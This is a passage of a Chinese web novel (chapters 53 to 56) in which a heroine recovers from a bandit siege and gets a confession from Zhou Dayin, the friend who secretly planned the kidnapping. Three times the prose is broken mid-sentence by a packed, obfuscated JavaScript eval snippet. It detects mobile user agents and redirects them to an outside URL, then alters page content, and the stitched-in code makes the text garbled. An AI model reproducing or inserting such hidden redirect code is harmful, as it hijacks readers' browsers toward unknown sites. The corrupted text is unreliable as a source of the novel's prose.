我要散架了,痛得连哼唧都发不出来,心里绝望极了。偏偏一层浓雾更盛,朝着我俩无情吞来,周达尹依旧死死抓着我的手,却一阵狂咳亦是爬不起来。 完了,完了,我要死了。 这大青朝,这王羽书的人生,我就要草草离别了。 就在恐要悲剧收场之际,忽然一道力度攀上我的手臂将我猛的一提,我睁开眼睛一看,竟然是谢宁轩,脸上被熏得黑漆漆的,肩膀脖颈还有血污。 谢宁轩看到我满脸的血,眼睛一紧。他回首又伸出另一只手拽住周达尹,后者一边猛咳一边借力站起来,一瘸一拐。 “能走吗?”谢宁轩大吼。 周达尹点头:“能!快走!要塌了!” 谢宁轩旋即松开他,弯腰朝我腿上一搂,便将我打横抱起。他眯着眼睛,费劲的透过浓雾,朝江瑟楼大门冲刺。 一路上横梁木头不断的掉下来,却仍旧有不断的厮打声传来。不少围在江瑟楼门口的官兵都捂着黑兮兮的脸咳嗽不断,护着人质先让他们出门。谢宁轩大吼着冲开一条道,朝外奔去。 眼看就要到门口了,一块横梁木砸下,谢宁轩来不及闪躲,抱着我就地一滚,背部生生挨了一下。 “谢宁轩!”我大叫一声。 但他马上就站了起来,抱着我的动作都没有变过。 江瑟楼门口那道华丽的翠玉屏风早就碎的七七八八了,谢宁轩踩着碎片跑出门,外面也是乱成一团。很多土匪小喽啰被压倒在地,救出来的人质和官兵捂着膝盖弯腰都在咳嗽,也有不少人质躺在地上,不知生死。 此刻的我,肾上腺素已告危。 这时,前方江瑟楼闪出一道耀眼的火光,巨大的轰塌声隆隆传来,我耳朵一炸,登时昏了过去。 53.复盘 等我从噩梦中惊醒,已经过去了两天。胖老爹就差跪下感谢上苍了,拉着钟叔涕泗横流。语无伦次中,我才知道自己高烧不退,时有惊厥,算得上在鬼门关走了一遭。 我盯着被层层包扎的胳膊,再摸摸依旧疼痛的额头,知道这只是失血过多带来的反应。既然苏醒,问题就不大了。但与老爹同样大惊小怪的,还有郡主。 “妹妹!王妹妹,你终于醒了,天哪,我以为你也要……呜呜呜,宝鸯已经……如果你也出事,我可怎么活下去啊,呜呜呜……”郡主眼睛红肿,脸色晦暗,颊边的肉都瘦了下去。一看这两天就没怎么休息。 “郡主,我……”我刚张了口,就感到嗓子里冒火一般,话都说不出来。 “快快!”郡主擦一把眼泪,连连张罗,“垂云,快点倒水来!垂柳,把药端来,太医吩咐了,醒来要立即喝下的!”说罢,郡主又朝我弯腰靠过来,急切的问,“王妹妹,你还有哪儿痛吗?你昏迷中也无法查实,要是还有伤筋动骨的,得赶紧告诉我啊。” 痛,浑身还是哪哪都痛。尤其后颈,像有个小锤子一直在砸。 “脖子没事,别怕别怕!”郡主安抚道,“周达尹一出来就说你被人砸了,太医检查了,只是皮外伤。这帮土匪真的是……妹妹,妹妹,这次若是没有你,我肯定要被歹人抓住,或许也和宝鸯一样……呜呜呜,你看你受的这伤……呜呜呜……” “周达尹,”我暗哑着声线,“周达尹没事吧?” 郡主伸手扶我坐起,一面帮我整理身后的靠枕:“放心放心,和你相比,他那点皮外伤都不值一提。垂云,来,水杯给我。” 说罢,郡主将杯子递到我的嘴边,我勉强小口吸溜着,脖子稍稍一伸,全身就牵动的疼,胳膊更是火烧般。这次真的把老娘折腾散架了。 所以郡主眼泪又掉下来的时候,我也没拦。 “妹妹,你又疼了?天哪,可怎么好啊,你伤的这么重,血流了那么多!宁轩哥抱你出来的时候,脸上一点血色都没有!妹妹,你这都是为了我啊,若不是我任性,若不是为了掩护我逃走……呜呜呜……还有宝鸯、宝鸯……” “金小姐她……没能救下她,我……” “这怎么能怪你?那独眼龙土匪都交代了,是该死的二当家掐死了她……而你,也受伤这么严重……呜呜呜……”郡主抽抽嗒嗒,眼泪肆虐,“下个月本是她的生辰,我都准备好了吴道子的真迹,现在却……都怪我,都怪我任性,呜呜呜……” 我跟着叹了口气,斯人已去,悔之,却也晚了。 此事起因在郡主,但罪孽却非郡主造成。只是金宝鸯的生命,却无论如何也无法挽回了。 压下心口浓郁的痛感,我勉强安抚了郡主几句,又着急问起人质死伤情况。 郡主眼泪大颗大颗滴落:“好、好、好惨……楼塌的时候,二层有三个人质没逃出来,哦,就是那姓夏的混蛋所在的房间,死了一半!算上土匪在最初就杀的那五个不肯交出身上金银的富商,还有被弄死的三个青楼女子……受伤的更是无数。除了人质,官兵也有死伤!” 天哪,死伤竟然如此惨重! “药来了,药来了,快,王妹妹,你先把药喝了。”郡主接过丫鬟递来的药碗,一面喂我一面淌泪,“你瞧瞧你这一身的伤,周学礼个混蛋!害的你这么惨!他却死的那么平顺,真太便宜他了!” 我在郡主的絮叨中愕然抬头:“周二叔死了?” “是啊,死了正好!那混蛋!他要杀你和周达尹灭口,周达尹拼命反抗,两个人打来打去,他自己倒跌下栏杆了。” 我心里一叹。恶人作恶终被缚。 “土匪真是可恶!那么多火药!哥哥和宁轩哥为了不点燃不出事,已经千方百计周全了,还是宁轩哥想到主意趁夜从顶探入,但没想到,竟然还是引发了爆炸!” “是谁引燃的火药?土匪被抓住了吗,不会都从密道跑了吧?” 郡主擦泪的动作一滞,愤慨转为疑惑:“什么密道?” “厨房里有密道啊。” “你怎么也这么说?周达尹之前也嚷嚷来着。”郡主瞪大了眼,“可是宋璃哥当时就带人在街道各处布控了,没发现任何逃跑的土匪。火扑灭之后,更是找到包括二当家在内的十余名土匪、拥挤的倒在厨房里的尸体。没发现什么密道啊!但说来奇怪,他们为什么集中到厨房啊?” 因为厨房有密道啊!图纸明明有标识。难道是还没来及打开,楼就塌了? “呦,三殿下,谢府丞,你们来了啊!”老爹狗腿的声音响了起来,“醒了,醒了,她醒了!郡主在里面呢。你们请,你们请,请。” “这是一些御赐的补品,相信对王姑娘伤势有些帮助,”三殿下语气温和,“王副官这几天也辛苦了。姝儿拨了两个丫鬟给王姑娘,之后就让她们伺候吧,王副官也休息休息。” 老爹谄媚的笑声中,谢宁轩已经敲门而入。朦朦天光剪出粗粗的轮廓,他穿着绯色官服,眼下有很深的乌青。 “你醒了?感觉好些了吗?”谢宁轩走近,眼中是和缓的溪水,盛着温柔。 郡主怯怯起身,朝随后进门的哥哥走去,被后者赐了冷冷的白眼。 “王姑娘,好些了吗?”三殿下越过妹妹,上前瞧我的面色,“太医配的药不会有错,你好好休息,需要什么,随时派人来御青王府。” “多谢殿下。” “王姑娘,”三殿下摆摆手,眼睛朝妹妹扫过去,“这次姝儿未有受伤,多亏了你。你于我们兄妹有大恩,就不要对我们说谢谢了。” “哪里哪里,我只是……” “好了,少些客套话吧。”谢宁轩却适时打断了我,看向三殿下,“她需要休息,你带着阳远先走吧。阳远这两天也不好受,别让她晚上跪经了。” 跪经? 郡主眼圈唰的又红了。三殿下却没答应,只是朝我又叮嘱几句,就冷脸牵着妹妹离开了。 谢宁轩看我盯着他二人的背影,轻声道:“金权作战英勇,与三殿下是莫逆之交。此番阳远任性,拖累金小姐……三殿下迁怒郡主,也无可避免。” 我想到金宝鸯羞涩的眉眼,亦不由自主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518786|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向谢宁轩。 “可你知道吗,她不只是为了陪郡主,她也是为了……” 谢宁轩垂下眼睫,低低叹息。“我也没想到,她会……因为其父金权的关系,她没少出入羽林军账。我经常去找宋璃——哦,就是羽林军大将军——因而有过几面之交。当我发现她试图借机与我交谈,并开始专程到军帐等我之后,我就让宋璃来我府衙讨论,再没有去过军帐了。” 许是没听到我的声音,谢宁轩抬眼看我,言辞恳切,“羽书,我是说真的。我那时才入仕,正是一腔热血、满心抱负。专心于政务,我已经很忙了,根本无暇考虑别的。加之我对她,的确没有对……” 眸深如海,他似是艰难的吞下了某个字眼。 “她是送来过信笺,金府也找人说和,但我都拒绝了。我还央父王专门找过金权,让他不要再请人来我府。我以为我做的很到位了,实在想不通她怎么会……”话音消弭,是他也无法预料的无可奈何。 饶是流水无情,但涓涓女儿心湮灭在阴谋中,还是令人无比难过。 一时间,我们两个都没有说话。 之后,依然是谢宁轩打破了沉默,他沉声道:“羽书,你应该知道的吧?去青楼公干并非我的托词,乃实情。你是没看到,当郡主说出你们出现在江瑟楼的原因时,三殿下那副表情。如今事情闹大了,我告诉你也无妨。我和三殿下在追查一宗宫廷旧案,涉及人物很复杂,为了不打草惊蛇,能够隐秘的盘问人证,我们才去了江瑟楼。找姑娘也只是为了掩人耳目,给了钱财买她们闭口罢了。” 果然。 “感谢你相信我。”谢宁轩忽然说道。 我眼睫一颤,抬头正对上他殷殷眷眷的眼光,心跳如鼓。 “但是,以后不要再这样冒险了。你可知你冒充郡主,风险有多大?” “当时那个情况,也不容我多想。”我低声解释,却止不住话音里的心虚,“我亲眼看见金宝鸯被……郡主若被挟持,我实在……对了,为什么最后还是炸起来了?我的暗号你没接收到?” “是身如璞玉,要经大火聚。你故意在‘火’‘要’二字上停顿,我自然是听懂了。”谢宁轩有些无奈,“只是,才吊着放下去五个人,土匪就发现了,根本来不及拆除引子。” 我想想当时的场景,也郁郁的点了点头。“那你是不是已经查到,周二叔……” “现在基本可以肯定,周学礼是这起土匪绑架案的幕后推手。这两日我们找到了土匪躲藏的窝点,发现了周学礼字迹的书信,内中便是此项谋划。” “我听说他已经死了?”我有些担忧,“和周公子打斗摔死的?那会不会追究周公子的责任?” 谢宁轩蹙眉:“有目击证人证实当时他重击周达尹,后者为了自保才和他打斗。爆炸将江瑟楼二层的栏杆摧毁了,他也算是自己跌下去的。后脑被碎瓷片贯穿,当场死亡。周达尹对此亦懊悔痛苦,我想,不应该追究他的责任。” 那就好。 我问出了压在心里的疑问:“你们真的查彻底了吗?真的没有密道?” 54.会面 “没有。土匪已被全歼,死亡过半数,还有少部分重伤,仅有的几个轻伤已经盘问了,也的确提到了密道。但经过核查,包括厨房在内的江瑟楼各处,均无密道。” “为什么,为什么会没有?”我不解。 谢宁轩却了然:“我推断周学礼应该是骗土匪的。” “骗?什么意思?” “因为土匪,也是他的报仇目标。” “报仇?” “验尸证明周学礼曾遭受……”谢宁轩顿了一下,“宫刑。” “什么!”我大惊,端着的杯子险些扑翻。 谢宁轩伸手接过杯子放到一旁,慢慢说道:“从伤口愈合情况看,应该是三个月前的伤口,符合周学礼被马家寨绑架的时间。也就是说,他在马家寨受到了这种虐待。不仅如此,他逃出马家寨的时候,滚下山摔断了右手,令尊验尸发现其骨头错位,很难恢复。堂堂博士,再无法执笔杆,何以立世?更何况他还……回京后他就开始喝花酒不回家,想必是无法面对夫人,亦无法面对自己吧。 “我查了刑部档案,马家寨寨主死亡那天,也只有周学礼进过天牢,呆了很久,还是周达尹进去找他,把他带出来的。想必那时,他已经在谋划周密的复仇大计了。” 我的后背犹如被阴风扫过,忍不住打了个冷战。 谢宁轩亦很唏嘘:“如今人已经死了,也无法证实他到底目的何在。不过从周达尹的证词来看,周学礼在家里和工作中都饱受磨难,又遇到这种伤害。恐怕也是心里失衡了,才会设计把全家引以为豪的侄子引入江瑟楼。他最终的目的,应该是要侄子和土匪全部为自己陪葬。” 陪葬?陪葬! 是啊,没有密道的话,他自己也会死在江瑟楼里。他是真的抱着必死之心啊! 这真是一场从头到尾的悲剧,真不知道周学礼和侄子在厮打的时候,是不是真恨不得亲手杀掉血脉至亲?可细思下来,却又不知该追究至何源头。 谢宁轩见我蔫蔫的,伸手拍了拍我的手背:“羽书,你也莫要难过了。周学礼动机虽可怜,可是他的行为却带给无辜人质无穷伤害啊。” 确实。比起他,金宝鸯和无辜死掉的人质,才是最可怜的。 “羽书,我已经着手开始写卷宗了,不日就要呈递给圣上。你有伤在身,我就不询问你了。刚才我说的那些情况,你还有什么要补充的吗?” “我……嗯,那个,你没事吧?” 谢宁轩慢慢旋起梨涡:“我没事啊。” 我盯着他,不太相信。那可是半截横梁木啊,就那么直愣愣砸向他。 谢宁轩眼中有柔柔的光,好似晴天夜晚的漫天星星。 “我自然是受了些伤,但,”他覆在我手背上的大手忽地用了些力道,干燥温暖的触觉令我心神不宁,“远比不上我心里的害怕。” 言外之意飘出,自耳朵钻入心间,像是嗡嗡蜂蜜,采摘了最甜的花蜜,正心满意足着。 “你……”大脑又宕机了,我着实不擅长处置这种情况。 孤单太久,唯有躲在盔甲下,才不会经历伤心、失望,才不会有“失去”再次降临。这不是我一贯的鸵鸟政策吗? 怎得来到这青朝,似有变化了呢? 一定是老爹赋予的亲情太动人,才破开了盔甲的缝隙。一定是没了纷杂的工作与竞争,我太耽于安逸。 脑中万千情绪对抗着,我不敢就此敞开心扉。担心着什么,我自己也说不清。心口有只奶猫,一直在软软挠着。 慌神之际,谢宁轩又贴近了些。 他牢牢锁着我的眼眸,浪涛在他的眼中翻滚。气息吞吐间,他轻声道:“羽书,以后能不能别冒险了?你知道我听到消息的那一瞬,有多害怕吗?那横梁木若是落到……” 话未说完,老爹的声音乍然响起:“呦,二公子来了?书儿醒了,醒了!” 我和谢宁轩同时一惊,我立即往被子里钻,他则抽回手站了起来。 “终于醒了!我说要再不醒,我可得把太医院首……”二公子声音雀跃,却在推门后倏地一滞,“哥,你怎么也在?” 谢宁轩负手而立,淡定的说:“我也是来瞧她的。” 明明回答的没毛病,但场面就是安静了,如被人按下了暂停键。唯有二公子的眼珠子在滴溜溜的转,狐疑的扫视着我通红的脸颊,和谢宁轩看似平静,却红透了的耳根。 老爹打破尴尬,嘿嘿赔笑:“哎呀,书儿,你怎么好生没礼貌?又躺下做什么?快起身行礼啊。” “不必。” “不用!” 两道声线交织,是谢宁轩和二公子同时制止。 气氛好像又有点尬,这次谢宁轩直接说了:“她受伤不轻,刚醒来,还需要休息。宁辕,你别打扰她太久。王伯父,那就有劳你照顾了,我还要回府衙写卷宗,就先走了。” 老爹忙堆着笑送谢宁轩出去。我盯着他挺拔的背影,旋即视线被二公子占满。 他奔了过来,坐到我床边的椅子上,撅嘴不满的问:“喂,我哥真是来看望你的?” 没来由的心虚,我咽口口水:“是、是啊,否则还能来干什么?” “他不会是来审问你的吧!”二公子却挑眉,带着浓重的怒气,“听说三殿下让郡主日日跪经认错,嫌她不该胡天胡地。我哥不会也迁怒你了吧?刚才质问你来着?” “啊?不、不是啊。” “金小姐的死,怎么能怪你们俩!”二公子愤慨,“谁能想到土匪会闯进来啊!你为了救人,都几天都没有进食了!该死的土匪,还给你们下大剂量的迷药!那迷药放在香菇里无色无味,人质毫无察觉,否则爆炸声那么大,他们怎么会逃不出来!要我说,这事就怪土匪就行,干嘛牵连旁人!” 絮絮叨叨,是他一贯的口气,带着些孩子气。我也没放在心上。 然而不知为何,心口还是萦绕起朵朵乌云。 那是什么? 此后数日,来家中看望我的人就没停过。二公子瞧见郡主留下的两个丫鬟,又想起了自己的承诺,顿时汗颜,不由分说就又派来了四个。 我推辞也推辞了,拒绝也拒绝了,两个大佬压根没理我,反而比较起谁的指派更为贴心,实在令人无语。 一下子,家里就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533843|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热闹起来,垂柳活络爱热闹,八卦劲儿十足,垂云则安静,善于倾听。这俩站一起,活脱脱的相声搭子,别提多融洽了。 可这样热闹的氛围,我却提不起精神来。 终于,还是到了那一日。 *** 五月二十日,风和日丽。 夏风炎炎中,京郊的南于湖浮光跃金,波光粼粼。湖畔建有很多二层小楼,可以俯瞰湖的风光,这是达官贵人最喜欢的休闲之处。 我到此处来,是赴周达尹的邀约。 青朝民风开放,男女相约来湖边赏景喝茶也是常有的事。见到我上楼,店家一点也不奇怪,急忙躬了身亲自引着。不过走了几步,雅间门打开,熟悉的脸露了出来。 周达尹暖暖一笑:“王姑娘可让我好等。” 他今日换上了缎面的茶色长衫,腰间虽未多装饰,还是无声彰显出身份来。 窗户正大开,南于湖美丽的景致立刻吸引了我的目光,我也含笑朝周达尹福了福身:“周公子选的这地方,当真景色宜人。” 周达尹伸手请我坐下:“经过生死一线,自然更加珍惜活着的时光。” 提到那日的事,我和周达尹都很感慨。沉默片刻,周达尹先问道:“姑娘身体可好了吗?那日伤得不轻。” 额头和胳膊还有血痂未褪尽,但总算不再疼痛了。我点点头,也关心道:“你呢?” 周达尹弯弯嘴角:“不过是些皮肉伤,只是母亲担忧,非要我多休养几日,否则早该请姑娘品茶。”说罢,他伸手将茶杯端给我,“尝尝这雨前龙井,是今年的新茶。” 我伸手接过,果然茶香四溢。可是我却没有多少兴致。 周达尹见我端着茶杯发呆,不由问道:“姑娘这是怎么了?可还是哪里不舒服?是不是我今日的邀约唐突了姑娘?” 温文敦厚的语气,眼中透着诚恳的关怀,这是一双与我共经生死的眼睛,亦是一个温润如玉的公子。 心中浪涛卷起,如狂风骤雨,不期而至。 我终是耐不住,开口问道:“周公子,经过江瑟楼的危机,我把公子当做生死之交,不知是否唐突了公子?” 周达尹脸颊飘上绯红,急忙摇手:“哪里哪里。能有王姑娘这样冰雪聪明的女子愿意和我做朋友,是我三生有幸。说实在的……”周达尹咬了咬唇,“小姐的胆识和勇气,颇令我自愧不如。对于小姐,我有一种、一种……” 他没能说下去,但殷切的眼眸与通红面色,我还是有了预感。 我抬手阻止了,自嘲一句:“公子,小女子性情鲁莽,实在担不起胆识二字。公子既然也拿我当做朋友,我有一个问题,埋在心里好些日子,想请公子解答。” 周达尹怔怔:“小姐但说无妨,凡我知道的,定如数告知。” 这段时间,一直有个疑问悬在我的脑海中,越是深究,疑问越是根深蒂固。我推敲着,深深凝视着眼前人熟悉的眉眼,心口涩然。 “江瑟楼的绑架案,真的是周二叔做的吗?” 周达尹眼睛一黯,沉默不语。 “那公子你,有没有旁的想告诉我?” 55.真相 周达尹抬起眼帘,露出不解。 我深吸口气,将疑问一股脑说出来:“公子可还记得那夜,土匪给咱们送的饭菜?那是一道香菇鸡丝。公子从菜里闻出了迷药的味道,这才避免了我们被迷晕的后果。后来听土匪说,迷药是山西云家的,对不对?” 周达尹静静的坐在我对面,表情渐渐冷了下来。脸颊红云,亦是消弭。 “云家迷药药效十足,唯有一点不好,就是有一种独特的气味。唯有放入香菇鸡丝这道菜中,则能被浓郁的香菇气味掩盖,无色无味不易察觉,这也是其他人质全部晕倒的原因。而公子你,那日却只凭轻嗅,就肯定的说出有迷药的事实,对此,我实在很难理解。” 周达尹波澜不惊,只微微抬了抬嘴角:“我从小鼻子很灵。” “我愿意相信。”我点点头,真诚说道,“那日公子和我去西厢查看人质,我看了前两间,后两间是公子查看的。当时公子说一共十八个人质,并没有看到周二叔。后来我去踹醒人质的时候,清楚的记得第一间和第二间各有六名人质。到了第三间,烟雾缭绕,我只来及踹醒那姓夏的,就被公子带走了。后来我听闻,他那一间人质死了一半,三名。也即,那个厢房也关着六个人。这就奇怪了,十八名人质平均分布在前三厢房里,可是公子两次,都趴在第四间看了许久。难道公子就没发现,那一间没有人质吗?” 自打那日讲述爆炸日所有经历时,郡主与谢宁轩、二公子不经意的话语与我遭遇的点点滴滴碰撞着,让我产生了丝丝缕缕的怀疑。我越想越惊心,越惊心越疑惑,当逻辑闭环被打破,我才发现,竟然矛盾重重,处处蹊跷。 当初困在江瑟楼的时候,我一直以为那个内应是周二叔。因为他不在被抓的人质内,又偏偏单独出现。当三殿下和官兵从顶上吊下来的时候,也是他一抬手,惊动了土匪。 可等我仔细回忆,却愕然发现,周二叔当时确实伸了手,但并没有大声呼喊。 周二叔的那个动作,如果按照平常来看,应该会被认为在求救。可为什么我会以为他在阻止官兵? 因为我先入为主的认为他就是内应。 可是,真的是他惊动了土匪吗? 不,不是。 真正惊动土匪的人,是打碎了花瓶的周达尹。 在记忆苏醒的那一刻,我只觉得我的灵魂都被冻住了。 我开始惊恐的意识到,我对周二叔内奸身份的认定,是周达尹给我灌输的。 找到那张图纸的人,是周达尹。认出上面的字迹的人,是周达尹。提及周二叔了解五魏街、了解江瑟楼走向与布局的人,是周达尹。讲述周二叔具备勾结土匪的动机的人,还是周达尹。 我无法相信,我不敢相信。 我托浮生给我搞了一点山西云家的迷药,请钟叔做了一道香菇鸡丝,同样的菜色中,我家没有一个人能闻出异常。 周达尹趴在最后一间厢房前的失望表情一次又一次的出现在我眼前。我清清楚楚的意识到,那晚我们俩一共去过三次西厢,可我并没有一次走近过第四间包间,所有的一切,都是周达尹告诉我的。 他担忧着、腿软着、崩溃着,却还是每每都能从第四间厢房返回后才发作,这些,真的只是巧合? 周二叔事发前夜回到家里吃饭,然后老太爷病发,周达尹才会到江瑟楼找他。 我原以为,这便是周二叔设计引侄子前来的诡计。可是再想想,侄子逮住这个时机安排次日动手,不也是一样可行的吗? 马家寨寨主的死,记录显示只有周二叔进去过监牢。可是谢宁轩讲过,后来是周达尹拉他出来的。我们从这段话中确认了周二叔有杀人的嫌疑,但,同样进去过的周达尹,不也一样吗? 谢宁轩曾提过周二叔右手断了,我找老爹确认过,周二叔也非左撇子。那么,三个月前发生的劫持,周二叔已不能执笔,如何绘图,如何写信? 现在已经证实,密道纯属胡说,根本不存在。也就是说,江瑟楼就和五魏街上任何一处小楼一样毫无特色,不会引起周二叔特别注意。即,周二叔也不可能早先专门绘制过它的平面图。 何况,那张平面图我细细看过,并无泛黄迹象,说明绘制时间不长。 我之前就曾起疑,长辫男知道三殿下英武、谢宁轩老谋深算。这些不可能是处在深山里的土匪知道的,显然是内应告知。 可内应既然对于官兵的情况如此熟悉,又怎么会没意识到,头顶突破这一漏洞?谢宁轩这一招的确妙,但谋划如此完善的内应,就真的能有如此大的疏漏吗? 事后我以为,是周二叔故意留了个缺口,放官兵进来,这样才能更好的消灭土匪,为自己报仇。 但是这里却又讲不通,周二叔设计把侄子骗进来,显然是为了杀了侄子。可是官兵如能顺利潜入救人,他就很难把握同归于尽的时间,那岂不是白忙活了? 可是等我换了种思路,我才愕然发现,事情竟然还有另一种可能。 如果颠倒过来,内应是周达尹呢? 他故意留了个漏洞给官兵,让官兵进来发现周二叔是唯一清醒的有嫌隙的人,再故意发出响声惊动土匪,引土匪和官兵厮打,借任何一方除掉周二叔。这样既做到了嫁祸,又消除了后患。 当各种因素一综合,我胆战心惊。我不禁开始怀疑之前的推断,更意识到我对周达尹的信任,基石在动摇。 潘多拉魔盒一旦打开,我已无法控制。 我不敢相信和我经历过生死的人,居然才是真正的内鬼。我怀疑自己,我不愿相信。我做了一个又一个的验证,越是验证,越是令我毛骨悚然。 老爹知道周达尹在爆炸前救了我,几次说去周府登门道谢,我却始终不敢去。就是因为我不敢面对周达尹,不敢直视他的眼睛。 我怕从他的眼中看到我对他的不信任,更怕这份不信任,会是对的。 正如此刻,我端坐在周达尹的面前,对他说出我内心的怀疑。 周达尹只是静静的看着我,黑白分明的瞳孔中没有光芒,消瘦的脸庞上还有着青紫色的淤痕,无声控诉着我的残忍。 湖面上扬起一阵微风,吹着纱窗轻轻的摆动,波光泛起光芒,一闪而逝。 我的眼眶很热,鼻子很酸。强忍住心头的震撼,我诚恳祈求:“周公子,你我经历过生死,我真的不愿怀疑你。你告诉我,只要你解释,我就愿意相信你说的话。那日是你挡开飞向我的刀,也是你拽着我逃走。你救了我,这份恩情我会一直记着。” “其实也不全是为了救你。”周达尹忽然轻笑一声,慢慢举起茶杯吟了口茶,“你当时已经冲进第三间里,眼看你就要冲到第四间去了。我不能让你过去,所以才急忙拖你离开。” 我听到自己心中碎裂的声音。 “第四间厢房里,到底有什么?” “二叔。”周达尹放下茶杯,神情淡淡,像是讲述一个完全无关的故事。 “二叔从被拖走,就被下了分量刚刚好的迷药。我算准了官兵一定会选在夜里从顶上突破进来,所以事先配给二叔的药量是计算好的。二叔会在夜半醒来,我没有绑住他,这样,他就成了唯一清醒可以活动的人。谢府丞如此聪明,他很快就会想到有内鬼,当官兵冲进来救人的时候,看到二叔在活动着,你觉得他们会怀疑谁,自然是怀疑二叔。” 这就能解释为什么其他人质都晕倒时,周二叔却躲在黑暗的角落里。他显然是药效过去,醒过来伺机逃跑,听到有动静就随意躲进了一间黑屋子。他对官兵的招手其实是求救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“在我的计划中,我会随机挑选一个房间冲进去,在证人面前向土匪承认周府公子的身份,让所有人知道我是土匪的最后筹码,那么我自然会被一个人关着,我就有了绝对的自由。没想到,土匪都是蠢货。听到有阳远郡主和金小姐在,就想报仇扣下她们,误打误撞偏偏留下了你。”周达尹眼中有光,异样的光,“呵,或许当日留下的真是郡主,也不会有今天这个局面了。” “你完全可以按照原计划,暗示将我和你分开关押,那么你还是一个人。” “当时的情形下,我无法开口。整个行动,只有二当家的一人,知道我是他的内应。我醒来时,你已经与我同屋了。” 我艰难的开口,嘶哑着:“那你、你也可以不告诉我迷药的存在啊。到时候我晕倒,你一样是自由的。” 周达尹苦笑着摇摇头:“怪只怪我被你吸引了。” 他清澈的眼眸中看不见一丝戾气,仿佛南于湖一般澄澈干净。他就这样直勾勾的看着我,丝毫不隐藏他的动心。 “普通的女子遇到土匪,会吓得浑身哆嗦。你不一样,你不仅敢替郡主担下身份,在土匪走后还和我探讨案情,句句点中要害。被土匪威胁,却递给我安心的眼神,还装哭装害怕。所以我改变了计划。我决定要用你作为我的证人,要接近你,也算是给我自己的奖励。可是没想到,你太聪明了。” 周达尹的话我并不意外,我能看出他的心思,纵使我并未同样有意,却也将他当做生死之交的朋友。如今这个局面,亦是我不愿面对的。 “对不起。我只想知道为什么。”我凝视着他的眼睛,“你是周府嫡长孙,祖父宠爱,又夺得状元,大好前程。你到底为什么做这件事?” “嫡长孙?”周达尹忽然笑起来,“我哪配当嫡长孙?” 我不明白他到底什么意思。 可周达尹越笑越夸张,直到眼泪从眼角蹦了出来。 我忽然心念一动,出声都在哆嗦:“你、你是不是有把柄在马家寨手中,亦或者、或者……” 我说不下去。堂堂周府少爷,能有什么把柄被毫无交集的土匪所持?除非……前有渊源? 周达尹收起嘴角的惨笑,望向窗外如画景色,如悠闲赏景的闲云野鹤。 他轻笑着,声音很轻:“王姑娘可想听个故事?狸猫的故事?” 56.狸猫 二十余年前,马家寨内乱,时任二当家的篡权,杀害大哥,自立为王。前任寨主夫人侥幸携初生儿子逃跑,在路上遇到了从娘家探亲归来的周府少奶奶。后者不明所以,但见孤儿寡妇可怜,便短暂收留,一路同行。 刚回到周府,心腹却告知噩耗,周府小少爷夭折。少奶奶本就是高攀,嫁来多年才产子,如今孩子夭折,她的正妻地位随时都会动摇。 此事被寨主夫人获悉,一盘棋开始酝酿。 少奶奶接受了她的献策,以月龄相仿、长相亦有些相似的襁褓婴儿混淆视听。机缘巧合之下此事蒙混过关,她本人亦作为乳母留在了周府。 转眼间,周小少爷已平顺长大,并接受了最好的教育,一朝取得状元桂冠,荣耀非常。 此时,下棋者开始收网了。 或许她也曾犹豫,或许她也曾徘徊,但重病即将离开的她,还是决定逼儿子为父报仇。 于是她设计与少奶奶争执,令小少爷听到了自己的身世。为了防止儿子贪图富贵,她居然还写信,将其身份捅给了当年夫君的部下、如今马家寨的二当家的,企图结合他,共同推翻现任寨主,完成报仇大业。 寒意自脊背爬上:“周公子,天哪,你、你当时……” “我当时?我还能有什么选择?不信,或者直接离开?”周达尹笑着,眼中却只有冰冷的恨意。“我与二当家的本来已经说好,我帮他设计搞死寨主,让他上位,他就此闭嘴。但没想到……” 没想到,变故却接连发生。 先是周家二叔不幸被马家寨所俘,回来后却情绪消沉,对往日疼惜的侄子态度大变。再是圣上下旨剿匪,马家寨也在名单上。 “王姑娘,你说,假如你是周少爷,你该怎么办?”周达尹平静的说着,似乎只是讨论话本。 无数情绪涌上我的心头,我沉默了。 二十年不忘的仇恨,于寨主夫人而言,儿子一天天长大,她看到的是报仇终于得望,她终于可瞑目,终于可以去见她的夫君。 可是儿子呢?这个自小顶着周家子孙名头长大的天之骄子呢? 没有人在意他怎么想,他已然被架到火上烤着。本可前程无限,却因二十年前于己无关的旧事,断送了自己的一生。 周达尹将眼光投向湖面,神情淡漠:“二叔面对官府询问,却不肯说出马家寨的位置。我想,可能是二叔知道了我的身份,这么好的复仇机会,他自然得用起来。马家寨留着,就能时时刻刻威胁着我。” 真的是这样吗? 不,不是。 我轻轻摇了摇头,正要开口,周达尹语气却变得冰凉:“既然如此,我又何必要留着他。反正祖父对二叔一向失望,那么就借二叔的手,替周家嫡长孙摆平这一切吧。于是我开始计划。第一步,就是先将二当家的从剿匪中保下来,免得他万一被生擒,说出我的秘密。” “是你提前通报,所以他们才躲过了三殿下的围剿?” “嗯。而且我教二当家的提前销毁了很多证据,使得三殿下剿匪后,根据现场遗留物证判断错误,以为只有个别土匪逃散,未作深究。” 怪不得,我说剿匪怎么会有这么大的疏漏。 